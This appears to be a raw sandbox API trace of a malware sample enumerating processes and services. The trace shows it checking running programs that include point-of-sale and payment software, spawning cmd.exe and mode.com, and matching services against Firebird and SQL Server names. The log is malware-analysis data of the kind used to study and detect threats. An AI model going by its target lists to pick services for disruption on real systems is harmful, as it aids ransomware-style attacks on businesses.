	[0084.392] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0084.392] lstrlenW (lpString="webdrive.exe") returned 12
	[0084.393] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0084.393] lstrlenW (lpString="whatsapp.exe") returned 12
	[0084.393] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0084.394] lstrlenW (lpString="winscp.exe") returned 10
	[0084.394] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0084.395] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0084.395] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0084.396] lstrlenW (lpString="active-charge.exe") returned 17
	[0084.396] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0084.397] lstrlenW (lpString="accupos.exe") returned 11
	[0084.397] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0084.398] lstrlenW (lpString="afr38.exe") returned 9
	[0084.398] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0084.399] lstrlenW (lpString="aldelo.exe") returned 10
	[0084.399] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0084.399] lstrlenW (lpString="ccv_server.exe") returned 14
	[0084.399] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0084.400] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0084.400] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0084.401] lstrlenW (lpString="creditservice.exe") returned 17
	[0084.401] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0084.402] lstrlenW (lpString="edcsvr.exe") returned 10
	[0084.402] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0084.402] lstrlenW (lpString="fpos.exe") returned 8
	[0084.403] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0084.403] lstrlenW (lpString="isspos.exe") returned 10
	[0084.403] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0084.404] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0084.404] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0084.782] lstrlenW (lpString="omnipos.exe") returned 11
	[0084.782] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0084.783] lstrlenW (lpString="spcwin.exe") returned 10
	[0084.783] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0084.784] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0084.784] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0084.785] lstrlenW (lpString="utg2.exe") returned 8
	[0084.785] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0084.785] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0084.786] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0084.786] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0084.786] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0084.787] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0084.787] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0084.788] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0084.788] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0084.789] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0084.789] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0084.790] lstrlenW (lpString="taskhostw.exe") returned 13
	[0084.790] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0084.790] lstrlenW (lpString="taskhostw.exe") returned 13
	[0084.790] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0084.791] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0084.791] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0084.792] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0084.792] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0084.792] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0084.792] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0084.793] lstrlenW (lpString="UsoClient.exe") returned 13
	[0084.793] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0084.794] lstrlenW (lpString="conhost.exe") returned 11
	[0084.794] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0084.794] lstrlenW (lpString="conhost.exe") returned 11
	[0084.794] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.795] lstrlenW (lpString="svchost.exe") returned 11
	[0084.795] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0084.796] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0084.796] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0084.796] lstrlenW (lpString="svchost.exe") returned 11
	[0084.796] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0084.797] lstrlenW (lpString="cmd.exe") returned 7
	[0084.797] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0084.798] lstrlenW (lpString="conhost.exe") returned 11
	[0084.798] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0084.798] lstrlenW (lpString="dllhost.exe") returned 11
	[0084.798] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0084.799] lstrlenW (lpString="mode.com") returned 8
	[0084.799] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0084.799] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0084.800] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0
	[0084.800] CloseHandle (hObject=0x354) returned 1
	[0084.800] Sleep (dwMilliseconds=0x1f4) 
	[0085.820] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53ef40
	[0085.820] EnumServicesStatusExW (in: hSCManager=0x53ef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0085.821] GetLastError () returned 0xea
	[0085.821] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1d6a) returned 0x31936f0
	[0085.821] EnumServicesStatusExW (in: hSCManager=0x53ef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x31936f0, cbBufSize=0x1d6a, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x31936f0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0085.822] CloseServiceHandle (hSCObject=0x53ef40) returned 1
	[0085.822] lstrlenW (lpString="Appinfo") returned 7
	[0085.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0085.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0085.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0085.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0085.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0085.822] lstrlenW (lpString="AppXSvc") returned 7
	[0085.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0085.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0085.822] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0085.822] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0085.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0085.822] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0085.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0085.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0085.822] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0085.822] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0085.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0085.823] lstrlenW (lpString="Audiosrv") returned 8
	[0085.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0085.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0085.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0085.823] lstrlenW (lpString="BFE") returned 3
	[0085.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0085.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0085.823] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0085.823] lstrlenW (lpString="BITS") returned 4
	[0085.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0085.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0085.823] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0085.823] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0085.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0085.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0085.823] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0085.823] lstrlenW (lpString="CDPSvc") returned 6
	[0085.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0085.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0085.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0085.823] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0085.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0085.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0085.823] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0085.823] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0085.824] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0085.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0085.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0085.824] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0085.824] lstrlenW (lpString="CryptSvc") returned 8
	[0085.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0085.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0085.824] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0085.824] lstrlenW (lpString="DcomLaunch") returned 10
	[0085.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0085.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0085.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0085.824] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0085.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0085.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0085.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0085.824] lstrlenW (lpString="Dhcp") returned 4
	[0085.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0085.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0085.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0085.824] lstrlenW (lpString="Dnscache") returned 8
	[0085.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0085.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0085.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0085.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0085.825] lstrlenW (lpString="DoSvc") returned 5
	[0085.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0085.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0085.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0085.825] lstrlenW (lpString="DPS") returned 3
	[0085.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0085.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0085.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0085.825] lstrlenW (lpString="DusmSvc") returned 7
	[0085.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0085.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0085.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0085.825] lstrlenW (lpString="EventLog") returned 8
	[0085.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0085.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0085.825] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0085.825] lstrlenW (lpString="EventSystem") returned 11
	[0085.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0085.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0085.825] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0085.825] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
